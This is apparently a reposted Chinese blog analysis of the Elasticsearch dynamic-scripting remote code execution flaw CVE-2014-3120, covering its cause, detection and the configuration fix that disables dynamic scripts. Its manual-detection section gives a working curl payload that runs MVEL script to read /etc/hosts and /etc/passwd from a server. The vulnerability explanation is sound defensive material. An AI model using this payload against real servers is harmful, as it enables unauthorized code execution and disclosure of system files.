ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析

Posted jzssuanfa

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析相关的知识,希望对你有一定的参考价值。

原理

这个漏洞实际上非常easy,ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户能够直接通过http请求,运行随意代码。

事实上官方是清楚这个漏洞的,在文档里有说明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 


检測方法

在线检測:

http://tool.scanv.com/es.html          能够检測随意地址

http://bouk.co/blog/elasticsearch-rce/poc.html   仅仅检測localhost。只是会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检測:

curl -XPOST ‘http://localhost:9200/_search?

pretty‘ -d ‘ { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } ‘

处理办法

关掉运行脚本功能,在配置文件elasticsearch.yml里为每个结点都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本号默认关闭动态脚本。

https://github.com/elasticsearch/elasticsearch/issues/5853

參考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

以上是关于ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2019-7609:Kibana远程代码执行漏洞复现

高危安全预警Kibana < 6.6.1远程命令执行漏洞(CVE-2019-7609)

Linux内核竞争条件漏洞-导致远程代码执行

远程代码执行漏洞的意思难道是有人在监控我的电脑吗??谢谢

Chrome浏览器远程代码执行漏洞(无沙箱模式)

Chrome浏览器远程代码执行漏洞(无沙箱模式)